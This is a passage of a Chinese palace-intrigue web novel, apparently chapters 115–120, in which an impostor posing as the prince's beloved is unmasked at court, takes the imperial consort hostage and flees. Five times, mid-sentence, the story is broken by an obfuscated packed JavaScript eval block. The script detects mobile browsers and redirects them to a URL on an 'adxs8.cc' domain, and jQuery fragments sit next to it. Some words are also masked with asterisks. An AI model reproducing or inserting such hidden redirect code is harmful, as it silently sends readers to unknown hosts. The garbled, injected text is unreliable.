尉迟晟来时见她眉眼含笑,打趣般问道,“何事令你如此开心?” 澜贵妃收了收上扬的唇角,回道,“皇上,听说那叫倪筱的女子找着了。凌儿为她吃了那么多苦,如今皇天不负有心人,让她重回凌儿边,臣妾这是为凌儿高兴呢!” 尉迟晟目光凝在她脸上,似看不透她,“在凌儿的婚事上你向来挑剔,就连将军府嫡女你都觉得配不上凌儿,而一个素未谋面的女子,你却如此重视。” 澜贵妃神色微僵。 但很快,她便温柔说道,“皇上,凌儿是臣妾的亲生子,他的喜好才是最重要的。为人母,谁不想自己的骨肉幸福圆满?” 尉迟晟挑了一下眉,“爱妃的意思是,凌儿娶夜家嫡女就不能幸福圆满?” 澜贵妃嗔道,“皇上,臣妾可不是这个意思!臣妾高兴的是现在凌儿有舒儿做正妃,又有挚爱伴他身侧,真是酒酽花浓,好不美满惬意!” 尉迟晟坐上主位,笑着道,“听闻你宣了那女子进宫,朕对那女子也十分好奇,便过来瞧瞧,看看她究竟有何过人之处,竟能让朕文韬武略的儿子对她那般痴情。” 澜贵妃坐到他身侧,端庄地点头附和,“是啊,臣妾也甚是好奇,所以迫不及待地想瞧一瞧。” 二人为了儿子的事难得这般想法一致,且还有说有笑,看得一旁宫女嬷嬷们都纷纷露出笑意。 约莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136933|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等了小半个时辰,宫人前来禀报,说人已经到澜霞宫门外了。 尉迟晟宣人进殿。 在他看不到的地方,澜贵妃暗暗地攥紧手心。 对这个倪筱,她并没有机会亲自过目,都是太子在宫外操办的,说不放心那是一定的。 但当看着那亭亭玉立、清纯与妩媚并存的女子进入殿中时,她目不转睛之下,心中豁然踏实了。 像! 真是太像了! 要不是知道这是太子特意找的人然后让华湘阁弟子华平帮忙易容的,她都要怀疑这就是真正的倪筱! 难怪承王能罚夜时舒,这朝思暮想并为之寻死觅活的心上人回来了,哪里还有夜时舒得宠的份! 在宫人引领下,倪筱行至殿中,对着主位上的帝妃恭敬地行跪拜大礼,“民女倪筱参见皇上!参见贵妃娘娘!皇上万岁万岁万万岁!贵妃娘娘千岁千岁千千岁!” “抬起头来。”尉迟晟威严地开口。 倪筱缓缓抬起头,眸子轻垂,不敢直视君王之姿。 不等尉迟晟再开口,澜贵妃便笑着道,“当真生得漂亮,难怪会让凌儿上心!” 尉迟晟眼角斜了她一下,眉心微蹙。 就这姿色,还不及承王妃一半,她是怎么夸出口的? “承王呢?为何承王没陪同你一道进宫?”他再次严肃发问。 “回皇上,王爷他去办要紧事了,未在府中。”倪筱柔声回道。 尉迟晟眉心蹙得更紧了。 承王妃虽不常进宫,但每次进宫承王都伴随着,最重要的是听闻他们夫妻去到哪都形影不离。 这女子不是承王心尖上念念不忘的人吗?这久别胜新婚,承王怎舍得把她单独留在府中? 正在这时,宫人来报,“皇上、贵妃娘娘,承王、承王妃、夜家二公子、华芯华神医正在殿外。” 闻言,澜贵妃掩嘴笑道,“皇上,您瞧,还说承王怎么没来呢,这不就来了嘛!” 尉迟晟没应她话,只朝宫人抬了抬下巴,“宣他们进来!” 第116章 当众现形 不多时,夜时舒和顾思沫进了殿。 二人分别向座上的帝妃行了礼。 “华神医怎么来了?”澜贵妃微笑着开口,显得无比平易近人。 “回母妃,王爷的身子虽然健愈,但毕竟受过重伤,儿媳担心落下病根,便恳求了华神医在府中多留一段时日,以保王爷彻底痊愈。”夜时舒主动解释道。 尉迟晟赞许地点头,“还是承王妃考虑周全。” 夜时舒端正回道,“父皇,这都是儿媳应该做的。” 尉迟晟望了一眼殿门,问道,“不是说承王和你兄长也来了吗?人呢?” “回父皇,方才路过花园,王爷瞧着一株牡丹开得极为艳丽,说是要摘下来送给筱儿姑娘。但他摘花的同时不慎弄脏了袍子,便带着儿媳二哥去偏殿清理。担心父皇和母妃久等,便让儿媳和华神医先来请安。” 尉迟晟下意识朝倪筱看去。 倪筱眼中含着笑,说不得意那是假的。毕竟承王越是宠她,她的目的便能越快达成,所得之酬劳便越丰厚。 只是面上,她看着夜时舒,很是自卑地道,“王妃您怎不拦着王爷呢?筱儿身份低贱,不值得王爷如此。” 夜时舒脸色拉着,但嘴角硬勾,任谁都看得出她在人前的强颜欢笑,“筱儿姑娘不用妄自菲薄,您在王爷心中的地位全大邺国都知道,无人可及。本王妃也不奢求什么,只希望你今后能服侍好王爷,做王爷身后得力的贤内助。” 旧爱一回来就夺了她这个新欢的宠爱,别说她强颜欢笑,就算当众给旧爱难堪也是情有可原的。 偏偏她说着包容大度的话,实在让人指摘不了任何。 至少澜贵妃挑不到刺,嘴上还夸赞道,“看着你们如此亲睦,本宫甚是为凌儿开心。” 她这话一出,也就等于认可了倪筱的身份。 看着夜时舒脸上僵硬的笑,哪怕她端得包容大度一句怨言都没有,可那一身的苦涩味任谁都能闻到。见此,倪筱心下越发高兴和得意。 突然,她余光瞥到两抹高大的身影步入殿中。 其中一人手持牡丹,俊脸上洋溢着潇洒迷人的笑,且一进来便把目光全投向自己。 她娇羞一笑,忍不住迎了上去,一手接过男人手中的牡丹,一手亲昵拉着男人的手,温柔的嗓音比黄鹂鸟还清脆好听,“王爷,您怎能为了筱儿去做摘花的事呢?就算要摘花送人,也该送给王妃才是。您这样,可是会折煞筱儿的!” 殿中的气氛刹那间凝固。 除了夜时舒、顾思沫以及尉迟凌,尉迟晟和澜贵妃以及殿中的宫人们全都睁大眼盯着那交握在一起的两只手。 倪筱的目的其实很简单,就是想展示她与承王的关系,一来让澜贵妃对她满意,二来让夜时舒难堪。 然而,她没等来澜贵妃赞许的声音,只看到所有人目光变得怪异。 她心中小小一惊,难道是因为她太过主动,显得有些放肆,所以惹帝王和贵妃不满了? 这种情况,她该如何做? 她没有迟疑,立马贴紧夜时竣的手臂,佯装胆怯地道,“王爷,以后别再为筱儿做这种事了,筱儿担不起您这般宠爱。” 她这一贴,前身几乎都贴到了夜时竣身上,澜贵妃猛地起身,怒指着她厉声道,“倪筱,你在做什么?” 倪筱傻眼地望着她,完全不理解她突然间的勃然大怒,“贵妃娘娘……筱儿……筱儿做错了什么吗?” “你!”澜贵妃一口气差点没提上去。 而倪筱见她如此,是真有几分惧怕,实在不明白她的用意,于是只能委屈地向夜时竣求助,“王爷明鉴,筱儿没有冲撞贵妃娘娘,不知贵妃娘娘为何会恼怒……” 坐在澜贵妃身侧的尉迟晟突然扬起唇,别有深意地看向儿子,“承王,说说吧,怎么回事?” 尉迟凌上前,回道,“如父皇所见,儿臣无需多解释。” 看着被喊‘承王’的他上前回话,并自称‘儿臣’,紧贴着夜时竣的倪筱双目突凸,仿佛一时间被人抽干了血,脸色比死灰还难看。 不等她回过神,夜时竣一把推开她,上前跪地,朗声禀道,“禀皇上,此女也不知何处来历,到承王府当日便把臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136934|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当做了承王殿下。承王殿下知其目的不纯,便让臣将错就错戏耍她。正逢今日贵妃娘娘召见,便决定在宫中让她自露马脚。” 倪筱身子晃动,不敢置信地望着他、以及尉迟凌和夜时舒,“不……不……” 不可能的…… 她怎么会一出手就犯如此大的失误…… 那日,她见着他们四人时,她明明瞧见这个男人走在最前面,且对她笑得一脸阳光…… ‘她’是承王心心念念的女人,久别重逢,承王就该对她如此欢喜的,不是吗? 然而,此时此刻,哪里还有她狡辩的机会。 别说狡辩了,就连后悔的机会都没有! 澜贵妃脸色不比她好看多少,那眼神都恨不得把她挫骨扬灰。不等尉迟晟再开口,她便冲宫人厉声喝道,“来人,此女冒充承王心上人,招摇撞骗,罪该万死!给本宫拖下去砍了!” “慢着。”尉迟晟从座而起,斜眼睇着她,“贵妃,难道你就不想知道此女是何来历、有何目的、受何人指使的吗?” “臣妾……”澜贵妃蓦地清醒过来,随即向他解释,“皇上,臣妾没想到会发生如此荒谬之事,真是被她给气狠了!” 尉迟晟背着手走向倪筱。 倪筱满脸恐惧,直接吓瘫在地,浑身不停地哆嗦。 尉迟晟站在她面前,居高临下地冷笑,“听闻倪筱在军营中陪伴承王出生入死数月,可你却连承王真容都分辨不清,实在可笑至极。” “我……我……” “是你自己主动交代,还是朕让**型伺候?” 事到此刻,再多的解释也不过是徒增旁人的笑话罢了! 倪筱翻身跪地,哆嗦着道,“皇上饶命……民女是被人逼迫的……” 澜贵妃一听,双手指尖都快掐破手心了! 这蠢货,不会要把她和太子交代出去吧?! 尉迟晟龙颜一沉,终于露出了怒意,“说!谁派你来的?” “是……是华湘阁……民女的家人被他们抓去……他们威胁民女……还给民女易容……教唆民女迷惑承王……” 第117章 为你出头 随着她的招供,原本看好戏的夜时舒他们全变了脸。 ‘华湘阁’三字也让尉迟晟扭头看向顾思沫。 顾思沫一脸冷意,上前指着倪筱怒道,“你好大的胆子,竟敢污蔑我华湘阁!” 倪筱抬起头,愤懑地回道,“我没有污蔑华湘阁,我有证据证明!” 说完,她抬手摸到耳后,然后当众将一张薄薄的皮面从脸上扯下,露出她的真容,并举着皮面对尉迟晟说道,“皇上,这易容术就是证据!华湘阁抓了民女的家人,逼迫民女易容后为他们做事!” 顾思沫反斥道,“华湘阁戒律,任何人不得滥用所学之术作恶害人,即便是私仇也不能动用华湘阁传授之术,违律者当叛徒处置!” 如果不是遵守戒律,就顾家那一帮人,她早都让他们化成尸水死无葬身之地了,又何必借用夜家的帮助大费周折地去摆脱顾家、对付顾家! 这假倪筱真是吃了熊心豹子胆,竟敢当着他们阁主的面栽赃污蔑华湘阁! 假倪筱一点没心虚,反而举着易容的皮面据理力争,“华湘阁戒律什么的我不懂,我只知道他们道貌岸然、心术不正、祸害无辜!” “你!”顾思沫手腕微震,眼中杀意翻涌。 “华神医息怒。”夜时舒上前挽住她的手臂,同时也挡住了她指间露出的银针,然后转头对尉迟晟说道,“父皇,此女易容冒充倪筱,本就心术不正,她的话您可不能信。再者,王爷的腿伤和脸伤都是华神医治愈的,如果华湘阁真要对王爷做什么,他们大可让华神医去做,毕竟华神医已经取得了王爷的信任,不是吗?明明有人可用,却还大费周折的又是**、又是胁迫他人,这也太说不过去了!” 尉迟晟淡淡点头,觉得她的分析在理。 但假倪筱听后,继续不服气地道,“华湘阁弟子众多,又不是同一人授命,有人愿意为承王治伤,有人想要接近承王,这不矛盾!” 夜时舒勾唇,“看来你还挺了解华湘阁的,那你说,胁迫你的人叫什么名字?” 假倪筱低下头,“不知道。” “呵呵!看来你是非要把这盆脏水往华湘阁泼了?”夜时舒嘲笑完,问顾思沫,“华神医,我想知道,像她这样栽赃污蔑华湘阁,恶意损坏华湘阁名声,会得到华湘阁怎样的处罚?” 顾思沫咬着牙,一字一字说道,“辱我华湘阁者,削四肢,做药人,以身为我华湘阁赔罪!” 夜时舒不禁愣了一下。 她就是想吓唬这个假的倪筱,但二嫂好像不是在开玩笑…… 倪筱望着顾思沫,惊恐得浑身抖得更加厉害,“你……你们华湘阁滥杀无辜……” 澜贵妃走到尉迟晟身侧,气恨地道,“皇上,这华湘阁太无法无天了!一直以来,朝廷与江湖宗派都是各尽其责、各行其是、井水不犯河水,没想到竟有人如此胆大妄为,敢如此明目张胆加害皇子,属实罪大恶极,不可饶恕!” 尉迟晟斜了她一眼,随即沉着脸问假倪筱,“你还未交代,华湘阁的人让你接近承王,意欲何为?” 假倪筱不自然的一震,接着委屈地带着哭腔说道,“华湘阁的人让民女假扮承王的心上人,迷惑承王,使承王利令智昏……” 要不是帝王在场,夜时舒都想笑了,“我家王爷与华湘阁的人各为其主,并无争权夺势之锋,让你来使我家王爷利令智昏,不觉得好笑吗?你接下来是不是还要说,华湘阁的人野心勃勃觊觎皇权,想图谋篡位啊?” 假倪筱低着头,仿佛没听见她的话。 澜贵妃怒极不已地道,“皇上,此女该杀!她背后的华湘阁弟子,也决不能放过!” 夜时舒眸光深深地盯着她。 她终于明白为什么魏永淮会和骆丽娴旧情复燃了,并且还赶急娶了游清柔! 就是因为她那位大舅母温氏跟华平交情匪浅! 骆丽娴在魏家住过一年多,魏家和裕丰侯府的往来情况她岂能不清楚? 那温氏认识华平的事她必定知道一些,所以弯来绕去,温氏把华平交给了太子和澜贵妃,然后通过华平的易容术造出了这么个假倪筱…… 但太子和澜贵妃死都想不到,曾经他们推到尉迟凌身边的细作倪筱早就被尉迟凌识破了,并且亲手杀了,还炮制了‘为情受伤’的戏码,骗过了所有人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136935|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今不管来多少个倪筱,那都是笑话! 尉迟晟再斜了澜贵妃一眼,突然转身朝一旁一直未出声的儿子看去。 “承王,你如何看?” 本该身为主角的尉迟凌,却是在场所有人中反应最冷漠的。面对帝王的询问,他甚至还能轻勾薄唇,说道,“华神医是华湘阁弟子,不如将此女交给她,让她带回华湘阁,我们只需让华湘阁给个说法便是。” 顾思沫随即跪地,恳求道,“皇上,为证我华湘阁清誉,求皇上将此女交给民女带回华湘阁。华湘阁势必会追查出她幕后之人,给皇上和王爷一个交代!” 澜贵妃立马反对,“不可!皇上,华湘阁弟子胆大包天,谁能保证把她交给华湘阁不会被人包庇?何况华湘阁神隐无踪,要是放她们走,我们又该去何地方寻他们?”顿了一下,她目光凌厉地看向顾思沫,“除非你说出华湘阁在何地,并带我们的人前去,让我们的人亲自看着华湘阁彻查此事!” 夜时舒忍不住咬牙。 这澜贵妃是觉得华湘阁把承王医治好了,故而心生怨恨,想借机将华湘阁铲除吗? 她看着顾思沫,想看她的反应。 但顾思沫却下意识地看向她侧后方的尉迟凌。 她转过身,只见一直没任何表现的尉迟凌突然间寒透了脸,直怼澜贵妃,“华湘阁与儿臣有恩,母妃此举,究竟是想替儿臣报恩呢,还是想替儿臣恩将仇报?” 澜贵妃不满地瞪着他,“你说的什么话,没看到有人要害你吗?华神医医治好了你,对你有恩不假,可华湘阁中另有人要加害你,难道母妃不该为你出头?” “呵!母妃的出头未免过激了,不知道的还以为是母妃要带人攻打华湘阁呢!”尉迟凌毫不领情地冷笑。 见澜贵妃还要说下去,尉迟晟不耐地喝道,“够了!既然此女是冲承王来的,那便让承王决定如何处置!” 他都这般发落了,澜贵妃能说什么? 在阴冷地瞪着假倪筱时,她只希望这群人赶紧离开她的澜霞宫,然后把太子找来商议对策…… 在此女被带去华湘阁之前,务必将人灭口! 第118章 劫持贵妃 就在顾思沫准备上前拿下假倪筱时,她猛地从地上弹跳起来,再以迅雷不及掩耳之势冲向澜贵妃,一手扭住澜贵妃胳膊的同时一手用力掐住澜贵妃的脖子—— “全都给我让开!不然我杀了她!” “娘娘!”这一幕,直接吓得殿中宫女、嬷嬷、太监纷纷惊叫。 “大胆!”尉迟晟也没想到她胆子竟如此大,忍不住指着她低吼,“你敢伤害贵妃半分,朕定叫你五马分尸!” “哈哈!”假倪筱张嘴狂笑,然后扭曲着脸阴狠地瞪着他们,“反正我也不会好死,那不如拉个垫背的!” 陈嬷嬷上前,跪在她们面前哀求道,“求你别伤害我们娘娘,要抓你就抓老奴吧!” 假倪筱怒吼,“滚开!”然后她冲尉迟晟再吼,“我数三声,你们要是不放我走,我就立马掐死她!” 看着她收紧手指,尉迟晟没等她开始数便厉喝,“都让开!” 尉迟凌面无表情地朝一侧退了两步。 夜时舒也拉着顾思沫退开。 顾思沫指间原本露出的银针悄无声息地消失,先前的杀气退去,只剩无尽的冷漠,平静的注视着她们。 夜时竣本就离得稍远,更加没他什么事。 假倪筱将澜贵妃当成**盾牌,扭着她往殿外退。 尉迟晟也不敢有别的动作,真怕她对澜贵妃下死手,只能一步步跟着她去。 澜霞宫的宫人都跟在他身后,每个人都惊惧不安地盯着假倪筱。 当假倪筱退出澜霞宫大门时,正碰上赶来的太子和太子妃。 “娘娘!”夫妻二人都大惊失色。 “太子……”澜贵妃看着他们,眼眶不禁红了。 尉迟睿指着假倪筱,威胁道,“你胆敢伤害贵妃娘娘,本宫定将你**万段!” 假倪筱扯着嗓子尖锐地吼道,“都给我让开!不然我现在就掐死她!” 见她如此过激,尉迟睿和祝华凝也只得给她让道。 倪筱扭抓着澜贵妃一步步朝宫门的方向退去,大内侍卫也越来越多,但澜贵妃被她掐得紧,加上帝王和太子、承王都没有作任何表态,所有人都不敢轻举妄动,只能一步一步紧跟,并死死注视着她手上的动作。 从澜霞宫到宫门,如此的对持持续了近一个时辰。 澜贵妃在她手上似是被折磨得没了力气,一直低垂着头,眼见出了宫门,她突然低声开口,“可以了,你走吧。” 假倪筱压着嗓音在她耳边威胁,“你最好祈祷我能顺利离开京城,不然我无法保证落在他们手上会交代出什么。” “还用你提醒吗?”澜贵妃轻哼。 她一开始是愤怒和害怕,可仔细想想,自己做人质帮助这女人离开是最明智的办法! 毕竟落在承王手中,承王一定会想尽办法逼这个女人开口,一旦这女人招供出她和太子,那后果就不堪设想。 确定她是真要保自己离开后,假倪筱这才扬声吼道,“给我准备快马,不然我杀了她!” 尉迟睿立即朝侍卫们喝道,“准备快马!” 大内侍卫纷纷朝尉迟晟这个帝王看去。 尉迟晟没开口,只沉着脸点了点头。 不多时,侍卫统领吴钺牵着一匹大马出现。 “牵过来!”假倪筱狰狞喝道。 吴钺牵着马一步步朝她靠近。 假倪筱见准时机,在将澜贵妃推出去的同时迅猛翻身上马,以最快的速度朝远处驰去—— “娘娘!”吴钺扶住澜贵妃。 尉迟晟、尉迟睿、祝华凝第一时间奔上前查看她的情况。 澜贵妃虚弱地投进尉迟晟怀中。 尉迟晟立即喝道,“护送贵妃回去!宣御医!” 澜霞宫的陈嬷嬷带着宫女上前接人。 现场气氛压抑,但有帝王镇着,并未发生混乱。 待澜贵妃和澜霞宫的人都离开后,尉迟晟负手望着马匹逃跑的方向,对吴钺厉喝道,“追!就算掘地三尺也要将人抓住!” “是!”吴钺领命行动。 祝华凝走到尉迟凌和夜时舒面前,一脸揪心地问道,“到底发生了何事?此女哪来的,为何会出现在澜霞宫劫持娘娘?” 尉迟凌面无表情地看着她,道,“臣弟也不知哪来的女子蓄意冒充倪筱接近本王。” 祝华凝不满地道,“承王,贵妃娘娘可是你母妃,你这般冷淡未免太无情了!” 夜时舒委屈地抹着眼角,哽咽说道,“皇嫂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136936|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你仔细瞧瞧,我家王爷脸都吓白了,人都快吓傻了!在那种情况下,你让我们如何做?难不成你希望我们激怒**,好让她伤害我们母妃?” 祝华凝本想当众说教一番,好让人指责承王无动于衷、不尽孝道。没想到夜时舒这一哭腔,竟让自己陷入难堪之地。 眼见所有人目光都投向她,她立马换了语气,温声安抚,“弟妹,我不是这个意思,只是听说那女子是冲二弟来的,二弟更了解实情,肯定能更好地说服**,如此也能让贵妃娘娘少吃些苦头。” 夜时舒继续替尉迟凌委屈说道,“皇嫂一点都不了解经过,王爷跟那女子都没说过话,你让他如何说服**放人?如果都如皇嫂这般不分青红皂白就指责王爷,不知道的还以为是我们派人劫持母妃呢!” “我……”祝华凝端庄的神色险些绷不住了。 眼见自己女人落下风,尉迟睿狠狠地瞪向她,示意她闭嘴。 尉迟晟目光不悦地看向她们,“争执什么?都给朕回去!” …… 所有人全部回了宫中。 但这次是在金銮大殿。 听完澜贵妃被劫持的前后经过后,尉迟睿一脸的疾恶如仇,向尉迟晟**,“父皇,那华湘阁的弟子真是胆大妄为、无法无天,接近承王不说,还劫持贵妃娘娘,简直不把我皇室放在眼中!此等恶贼,应尽快诛杀,以免他们祸乱颠覆我大邺朝纲!” 尉迟凌冷声道,“皇兄,那女子有问题不假,但她招供的事都是她一面之词。在没有足够的证据证明华湘阁有问题之前,皇兄就凭一个居心叵测的女子之言便要铲除江湖门派,未免太武断了!” 尉迟睿不服气地道,“她都敢在天子面前行凶,身后必定有庞大的势力为其撑腰,除了华湘阁外,还能有谁?事关江山社稷安稳,宁可错杀千百,也决不能放过一人,否则伤了朝纲,谁担得起?” “好一个‘宁可错杀千百,也决不能放过一人’!”尉迟凌勾唇冷笑,“身为储君,皇兄就是这般暴戾无情?一人之过要成千上百的无辜陪葬?那每日有那么多犯事的,照皇兄这般行径,我大邺国的百姓用不着一年便能杀光。” 第119章 我想续弦 “你……你搬口弄舌,是骂我不配为储君吗?”尉迟睿脸色发青。 “你配不配为储君不是我说了算,我只知手握生杀大权者,更应敬重生死,而不是仗着权刃在手藐视人命!”尉迟凌说完,向龙椅跪下,沉声道,“父皇,您之前也说了,对方是冲儿臣来的,那此事便由儿臣做主。儿臣定会彻查到底,给父皇一个交代。” 尉迟晟目光深邃地看着他。 两个儿子鲜少共事,特别是承王,早前都在边疆历练,就算这一年多回了京城,因其腿伤也并未入朝领职,以至于他对承王的心境并无过多了解。 眼下,听着承王那掷地有声的言论,‘手握生杀大权者,更应敬重生死,而不是仗着权刃在手藐视人命!’他心下莫名的激动澎湃,为君者,不正该有此心境吗? 可惜…… 天师方济说,只有嫡长子才能保大邺国太平昌盛…… 眼见太子一脸不满还想说话,他沉声道,“此事因承王起,那便交由承王彻查。” 尉迟睿不得不垂下眸子,应道,“是!” 尉迟凌谢恩后起身,禀道,“父皇,儿臣需回府与华神医商议对策,劳您转告母妃,让她保重身子,儿臣就不去打扰她了。” 尉迟晟不自然地抿紧唇。 这母子俩,真是天生的不合! 罢了,与其看他们不合,还不如少见面,省得他也烦心。 “退下吧。” …… 离开金銮殿,尉迟凌、夜时舒、夜时竣、顾思沫直奔宫门回了承王府。 “说实话,放走那个女的,我是真有些不甘心。”夜时舒愤懑地道。 “小妹,不用担心,那女子被识破,对太子和澜贵妃来说便失去了利用价值,不用我们出手,太子和澜贵妃也容不下她的!”夜时竣安慰她,“我知道你是想让她招供出幕后之人,但就算她招供出太子和澜贵妃又如何,太子和澜贵妃也可以狡辩是她污蔑。说不定太子和澜贵妃还要反口说是我们指使的呢,毕竟目前为止,只有我们明目张胆地与华湘阁有往来。” 顾思沫点头附和,“时竣说的没错,从太子和澜贵妃的言语来看,他们除了想对付王爷外,还想煽风点火借朝廷的势力对付华湘阁。” 夜时竣看了一眼某妹夫,笑道,“王爷今日的目的应该只是为了揭穿她,并警告太子和澜贵妃,这种下三滥的手段非但没用,还会自取其辱。王爷,您说是吧?” 尉迟凌嘴角翘了一下。 夜时舒见他还能笑,也知道自家二哥没说错。他今日的目的并不是要与太子和澜贵妃撕破脸,只是把那假倪筱‘扔’回给太子和澜贵妃而已。 “王爷,夜将军来了。”文岩在门外禀道。 夜庚新进到书房,见人都在,直言道,“宫里的事我都听说了,你们可有派人去追拿那女子?” 夜时舒引他入座,笑着安慰他,“放心吧,爹,跑不了的。” 夜庚新皱眉看着她,“澜贵妃受了如此大的惊吓,你怎不在宫中陪着?” 夜时舒汗,“……” 就他爹这个脾气,如果告诉她,那假倪筱是澜贵妃和太子搞出来的,目的就是破坏她和承王感情,她敢保证,她爹立马就会跑去找澜贵妃讨要说法! “岳父大人,舒儿她也受了惊吓,本王不忍她辛苦,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136937|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带她回了府。”尉迟凌替她解释道。 夜庚新仔细地打量了女儿一遍,又把儿子、儿媳打量了一遍,问道,“你们都没事吧?” 顾思沫笑眯眯地回道,“爹,我们都没事。就是为了救澜贵妃,我们与那女子对持了许久,都很是疲累。好在大家都安然无恙,休息休息就没事了。” “没事就好!”夜庚新松了一口气,随即沉下脸恨道,“那女子究竟是何来历?有何目的?竟如此胆大包天跑来承王府行骗?你们可一定要将其抓住,好好审问!” “爹,放心吧,我们会想办法抓她的。”顾思沫安慰道。 夜庚新朝女婿看去,愧疚地笑了笑,“王爷,那日误会你,真是不该。” 尉迟凌勾了勾唇,“岳父大人也是爱女心切,本王自不会放在心上。” 夜庚新环顾了一下书房,又朝门外望了一眼,突然朝女儿问道,“舒儿,九姑回来了吗?” 夜时舒眉心微蹙,“九姑不是一直在将军府陪您吗?” 夜庚新老脸一尬,“那个……我那日误会了王爷,没听九姑解释……等我回去后,你大哥说她收拾细软离开了。” 夜时舒,“……” 她也是服了! 她还想着把假倪筱的事解决完后就回将军府商议,把爹和九姑的婚事给办了,总不能让他们一直不明不白的…… 可人都到她爹身边了,他爹居然把人看跑了! 面对几个晚辈的沉默,夜庚新耳根都忍不住发红。可自己来都来了,还有什么豁不出去的? 于是他又看向女婿,直白地道,“王爷,我想续弦,挑个日子让九姑正式进门?” 第120章 拿她换钱 尉迟凌丰眉微挑,“岳父大人要让九姑做填房,就不怕门第之差让人笑话?” 闻言,夜庚新沉下脸,不悦道,“娶妻娶贤,只要女子贤良淑德、持家有道,门第差又有何妨?舒儿她娘当初嫁我时,游家还只是一门小商户,我不照样风风光光娶进门了!” “你再看看顾勇,有了功名之后就嫌弃资助他读书的糟糠之妻,在发妻病逝之后娶了李氏过门之妻,虽然李氏出身书香门第,也靠着娘家人脉帮扶顾勇做到了首辅,可结果呢?那李氏无德无才不说,还心狠毒辣,最终不还是让顾家变得一无所有?” 他这一番说教,还真是让人无法反驳。 尉迟凌清了清嗓子,温声道,“岳父大人若有心,可直接与九姑商议,用不着过问本王的意思。” 夜庚新皱眉叹道,“我这不是见不到她人嘛!她动不动就跑,一跑就没个影,你让我上哪找她商议去?” 提起来他都觉得羞愧! 这已经不是第一次他被九姑抛弃了!好歹他也是一品将军,却屡次被一个女人睡完就跑!他承认自己一把年纪了,可也没老到被人嫌弃的地步啊! 听着他满腹幽怨的话,夜时竣和夜时舒都别开头不敢接话,生怕自己一开口就笑场。 还是顾思沫忍着笑意安慰他,“爹,九姑多半是不好意思,您多耐心些,相信她会被您打动的。” 夜庚新起身,老脸是真挂不住了,“行了,我先回府了。你们若是见到九姑,就带个话给她,说我在将军府等她!” 夜时舒眼抽地看着他离去。 刚刚憋屈又抱怨的样子多可爱的,怎么一转眼又霸道起来了? 就他这副发号施令的态度,真不是她贬低自己亲爹,除非别人是有利可图,否则真没几个女人受得了! 夜时竣也忍不住摇头,“好不容易看到爹这棵老树开花,没想到他这么不争气!” 夜时舒忍着笑白了他一眼,“你小声些,当心被爹听到,揍你一顿!” 虽说她爹脾气不太好,对女人更是没什么耐心,但他爹豁达开明这一点还是值得赞赏的。 说实话,她也希望九姑能进他们家,别的不说,至少她相信九姑不会像李氏那般**继子继女。 门第有差异又如何,只要他们一家高兴,关别人什么事? “文岩。”她朝门外唤道。 “王妃有何吩咐?”文岩从门外进来。 “九姑回来了吗?” “回王妃,没见九姑回来。” “她既不在将军府,又没在王府,那她会去哪?”夜时舒朝身侧看去,“王爷,难道她回军营了?” 尉迟凌眉眼微沉,低声道,“出入军营都需令牌,她不可能擅自去军营。” 夜时舒随即吩咐文岩,“九姑没道理一个人在外面,赶紧派人把九姑找回来。” “是。” …… 澜霞宫。 澜贵妃喝药喝到一半,突然把宫女手中的药碗挥打掉。 “可恶!我们辛辛苦苦布局一场,竟叫他们如此识破了!那以后我们还如何让人接近他们?” 祝华凝上前吩咐宫女重新去煎药。 